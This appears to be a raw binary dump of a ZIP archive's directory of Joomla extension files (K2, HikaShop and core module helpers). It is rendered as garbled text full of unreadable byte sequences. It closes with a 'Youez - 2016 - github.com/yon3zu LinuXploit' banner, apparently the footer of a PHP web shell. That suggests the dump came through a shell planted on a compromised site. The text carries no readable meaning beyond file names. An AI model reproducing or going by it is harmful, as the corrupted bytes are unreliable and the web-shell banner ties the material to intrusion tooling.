��WW3��*mod_ajax_intro_articles/admin/css/simple-slider.cssnu&1i�PK!���+\\;c�*mod_ajax_intro_articles/admin/css/bootstrap-colorpicker.cssnu&1i�PK!�)V,,-*�*mod_ajax_intro_articles/admin/colorpicker.phpnu&1i�PK!�1I,3,3'��*mod_k2_tools/includes/calendarClass.phpnu&1i�PK!�r/N~�~�6�*mod_k2_tools/helper.phpnu&1i�PK!�#o,,��+mod_k2_tools/index.htmlnu&1i�PK!���� n�+mod_k2_tools/tmpl/categories.phpnu&1i�PK!yr44!��+mod_k2_tools/tmpl/breadcrumbs.phpnu&1i�PK!�H����>�+mod_k2_tools/tmpl/authors.phpnu&1i�PK!�e1<�+mod_k2_tools/tmpl/calendar.phpnu&1i�PK!��aam�+mod_k2_tools/tmpl/tags.phpnu&1i�PK!T+�e	e	�+mod_k2_tools/tmpl/search.phpnu&1i�PK!��8	�� ɣ+mod_k2_tools/tmpl/customcode.phpnu&1i�PK!r���55�+mod_k2_tools/tmpl/archive.phpnu&1i�PK!e
3@��+mod_k2_tools/mod_k2_tools.phpnu&1i�PK!=��0�0��+mod_k2_tools/mod_k2_tools.xmlnu&1i�PK!'�����'�+mod_k2_content/tmpl/Default/default.phpnu&1i�PK!�#o,,>,mod_k2_content/index.htmlnu&1i�PK!��j�*7*7!�,mod_k2_content/mod_k2_content.xmlnu&1i�PK!j�^̻�!.?,mod_k2_content/mod_k2_content.phpnu&1i�PK!<�`ZZ:H,mod_k2_content/helper.phpnu&1i�PK!�
6��#��,mod_k2_comments/tmpl/commenters.phpnu&1i�PK!�?�!�,mod_k2_comments/tmpl/comments.phpnu&1i�PK!e��T�%�%й,mod_k2_comments/helper.phpnu&1i�PK!�#o,,��,mod_k2_comments/index.htmlnu&1i�PK!`#�|��#(�,mod_k2_comments/mod_k2_comments.phpnu&1i�PK!Cъ�44#i�,mod_k2_comments/mod_k2_comments.xmlnu&1i�PK!�<Q-�
�
�-mod_k2_user/tmpl/login.phpnu&1i�PK!��d�aa�-mod_k2_user/tmpl/userblock.phpnu&1i�PK!�#o,,r!-mod_k2_user/index.htmlnu&1i�PK!n�&��!-mod_k2_user/helper.phpnu&1i�PK!�l�ֻ�>;-mod_k2_user/mod_k2_user.phpnu&1i�PK!:��>��DJ-mod_k2_user/mod_k2_user.xmlnu&1i�PK!I���
�
%{[-mod_k2_users/tmpl/Default/default.phpnu&1i�PK!��-�-�i-mod_k2_users/helper.phpnu&1i�PK!��.�����-mod_k2_users/mod_k2_users.phpnu&1i�PK!I
l����-mod_k2_users/mod_k2_users.xmlnu&1i�PK!��~~7��-mod_articles_latest/src/Helper/ArticlesLatestHelper.phpnu&1i�PK!x�<zW"W"+��-mod_hikashop_filter/mod_hikashop_filter.xmlnu�[���PK!����+@�-mod_hikashop_filter/mod_hikashop_filter.phpnu�[���PK!�#o,,O�-mod_hikashop_filter/index.htmlnu�[���PK!�#o,,#��-mod_hikashop_filter/tmpl/index.htmlnu�[���PK!z����$H�-mod_hikashop_filter/tmpl/default.phpnu�[���PK!)aE& : :;�-mod_articles_category/src/Helper/ArticlesCategoryHelper.phpnu&1i�PK!�;��
�
,
*.mod_articles_category/tmpl/default_items.phpnu&1i�PK!�j���
�
9H5.mod_articles_archive/src/Helper/ArticlesArchiveHelper.phpnu&1i�PK!
_�"dd"�@.mod_menu/tmpl/collapse-default.phpnu&1i�PK!�ȴ���"OD.mod_menu/src/Helper/MenuHelper.phpnu&1i�PK!R��++1]`.mod_random_image/src/Helper/RandomImageHelper.phpnu&1i�PK!y�泆
�
0�l.mod_breadcrumbs/src/Helper/BreadcrumbsHelper.phpnu&1i�PK!��� CC.�w.mod_whosonline/src/Helper/WhosonlineHelper.phpnu&1i�PK!�:�� p�.mod_whosonline/tmpl/disabled.phpnu&1i�PK!�#o,,W�.mod_hikashop_cart/index.htmlnu�[���PK!�M���'υ.mod_hikashop_cart/mod_hikashop_cart.xmlnu�[���PK!�ɬ22' �.mod_hikashop_cart/mod_hikashop_cart.phpnu�[���PK!�#o,,!��.mod_hikashop_cart/tmpl/index.htmlnu�[���PK!�H		"&�.mod_hikashop_cart/tmpl/default.phpnu�[���PK!?��(��.mod_banners/src/Helper/BannersHelper.phpnu&1i�PK!L$v��,��.mod_languages/src/Helper/LanguagesHelper.phpnu&1i�PK!�ˀI	I	��.mod_hikashop/mod_hikashop.phpnu�[���PK!j:77�.mod_hikashop/mod_hikashop.xmlnu�[���PK!�#o,,��.mod_hikashop/tmpl/index.htmlnu�[���PK!ox�.mod_hikashop/tmpl/default.phpnu�[���PK!�#o,,��.mod_hikashop/index.htmlnu�[���PK!n��%��,��.mod_syndicate/src/Helper/SyndicateHelper.phpnu&1i�PK!�	;]]9F�.mod_articles_popular/src/Helper/ArticlesPopularHelper.phpnu&1i�PK!�V����1�.mod_tags_popular/src/Helper/TagsPopularHelper.phpnu&1i�PK!¾X���$?�.mod_stats/src/Helper/StatsHelper.phpnu&1i�PK!{�esHH/b�.mod_hikashop_wishlist/mod_hikashop_wishlist.xmlnu�[���PK!�L��/	/mod_hikashop_wishlist/mod_hikashop_wishlist.phpnu�[���PK!јi&�/mod_hikashop_wishlist/tmpl/default.phpnu�[���PK!�#o,,%�
/mod_hikashop_wishlist/tmpl/index.htmlnu�[���PK!�#o,, l/mod_hikashop_wishlist/index.htmlnu�[���PK!��x8333�/mod_related_items/src/Helper/RelatedItemsHelper.phpnu&1i�PK!Y:n��/~/mod_hikashop_currency/mod_hikashop_currency.xmlnu�[���PK!�
mm/�1/mod_hikashop_currency/mod_hikashop_currency.phpnu�[���PK!�#o,,%N5/mod_hikashop_currency/tmpl/index.htmlnu�[���PK!	��U��&�5/mod_hikashop_currency/tmpl/default.phpnu�[���PK!�#o,, </mod_hikashop_currency/index.htmlnu�[���PK!h� d��(�</mod_wrapper/src/Helper/WrapperHelper.phpnu&1i�PK!Z1�7		$�B/mod_login/src/Helper/LoginHelper.phpnu&1i�PK!$�A���1+K/mod_tags_similar/src/Helper/TagsSimilarHelper.phpnu&1i�PK!<��+��3Pc/mod_articles_news/src/Helper/ArticlesNewsHelper.phpnu&1i�PK!�Γbb?b|/mod_articles_categories/src/Helper/ArticlesCategoriesHelper.phpnu&1i�PK!�M���"3�/mod_feed/src/Helper/FeedHelper.phpnu&1i�PK!	�OL��1�/mod_users_latest/src/Helper/UsersLatestHelper.phpnu&1i�PK!���	�	&Ҍ/mod_finder/src/Helper/FinderHelper.phpnu&1i�PK����/

Youez - 2016 - github.com/yon3zu
LinuXploit